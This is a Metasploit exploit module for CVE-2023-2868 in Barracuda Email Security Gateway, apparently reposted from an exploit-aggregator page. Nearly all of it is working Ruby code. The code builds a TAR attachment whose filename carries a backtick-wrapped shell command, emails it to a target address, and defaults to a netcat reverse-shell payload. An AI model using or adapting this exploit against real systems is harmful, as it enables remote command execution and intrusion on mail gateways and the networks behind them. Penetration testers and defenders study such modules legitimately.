Share
## https://sploitus.com/exploit?id=PACKETSTORM:217678
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::SMTPDeliver
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Barracuda ESG TAR Filename Command Injection',
            'Description' => %q{
              This module exploits CVE-2023-2868, a command injection vulnerability in
              Barracuda Email Security Gateway (ESG) appliances. The vulnerability exists
              in how the ESG processes TAR file attachments - filenames containing shell
              metacharacters (backticks) are passed directly to shell commands during
              extraction, allowing remote command execution.
    
              The exploit sends an email with a specially crafted TAR attachment where
              the filename contains a backtick-wrapped command. When the ESG processes
              this attachment, the command is executed as the mail processing user.
    
              Note: Payload execution may take 30-90 seconds after email delivery.
              Amavisd queues and processes attachments asynchronously.
    
              Affected versions: Barracuda ESG firmware prior to May 2023 patch.
    
              Payloads containing single quotes or backticks are incompatible with
              the injection mechanism. Use cmd/unix/generic with a custom CMD for
              specialized payload requirements.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Mandiant', # Discovery and analysis
              'cfielding-r7', # Original PoC
              'Curt Hyvarinen' # Metasploit module
            ],
            'References' => [
              ['CVE', '2023-2868'],
              ['URL', 'https://www.barracuda.com/company/legal/esg-vulnerability'],
              ['URL', 'https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally'],
              ['URL', 'https://attackerkb.com/topics/NCRbE1IDJP/cve-2023-2868']
            ],
            'DisclosureDate' => '2023-05-23',
            'Platform' => 'unix',
            'Arch' => ARCH_CMD,
            'Privileged' => false,
            'Payload' => {
              'Space' => 490,
              'DisableNops' => true,
              'BadChars' => "'\`\x00\r\n"
            },
            'Targets' => [
              ['Unix Command', {}]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/reverse_netcat'
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('MAILTO', [true, 'Target email address on the ESG']),
            OptString.new('MAILFROM', [true, 'Sender email address', 'scanner@example.com']),
            OptString.new('SUBJECT', [true, 'Email subject line', 'Quarterly Report']),
            OptString.new('BODY', [false, 'Email body text (default: random string)']),
            OptString.new('FILENAME', [false, 'TAR attachment filename (default: random.tar)'])
          ]
        )
      end
    
      def check
        connect
        banner_str = banner.to_s
        if banner_str =~ /barracuda/i
          return CheckCode::Detected('Barracuda ESG detected in SMTP banner')
        end
    
        if banner_str =~ /ESMTP/i
          return CheckCode::Unknown('SMTP server detected, but cannot confirm Barracuda ESG')
        end
    
        CheckCode::Safe('No SMTP banner detected')
      rescue Rex::ConnectionError => e
        CheckCode::Unknown("Connection failed: #{e.message}")
      ensure
        disconnect
      end
    
      def exploit
        cmd = payload.encoded
    
        # Wrap payload in critical format for command injection:
        # Outer single quotes prevent immediate shell parsing,
        # backticks trigger command substitution when processed by vulnerable code
        malicious_filename = "'`#{cmd}`'"
    
        print_status('Generating malicious TAR with payload filename')
        vprint_status("Payload filename length: #{malicious_filename.length} bytes")
        tar_data = create_malicious_tar(malicious_filename)
    
        print_status('Composing email with TAR attachment')
        email_data = generate_exploit_email(tar_data)
    
        print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
        send_message(email_data)
    
        print_good('Email sent successfully')
        print_status('Payload will execute when ESG processes the attachment')
      end
    
      def create_malicious_tar(malicious_filename)
        # Rex::Tar::Writer inherits from Gem::Package::TarWriter which enforces a
        # 100-byte filename limit. Override split_name to allow longer filenames
        # with special characters for the injection payload.
    
        original_split = Rex::Tar::Writer.instance_method(:split_name)
    
        Rex::Tar::Writer.define_method(:split_name) do |name|
          prefix = ''
          if name.bytesize > 100
            parts = name.split('/', -1)
            name = parts.pop
            prefix = parts.join('/')
            while !parts.empty? && (prefix.bytesize > 155 || name.empty?)
              name = parts.pop + '/' + name
              prefix = parts.join('/')
            end
          end
          [name, prefix]
        end
    
        tar_io = StringIO.new
        Rex::Tar::Writer.new(tar_io) do |tar|
          content = Rex::Text.rand_text_alpha(32)
          tar.add_file_simple(malicious_filename, 0o644, content.length) do |io|
            io.write(content)
          end
        end
    
        # Restore original method to avoid affecting other code
        Rex::Tar::Writer.define_method(:split_name, original_split)
    
        tar_io.string
      end
    
      def generate_exploit_email(tar_data)
        msg = Rex::MIME::Message.new
        msg.mime_defaults
        msg.from = datastore['MAILFROM']
        msg.to = datastore['MAILTO']
        msg.subject = datastore['SUBJECT']
    
        # Add text body
        body_text = datastore['BODY'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(rand(16..32)) : datastore['BODY']
        msg.add_part(body_text, 'text/plain', nil, 'inline')
    
        # Add TAR attachment
        attachment_name = datastore['FILENAME'].to_s.strip.empty? ? Rex::Text.rand_text_alpha(8) + '.tar' : datastore['FILENAME']
        msg.add_part_attachment(tar_data, attachment_name)
    
        msg.to_s
      end
    end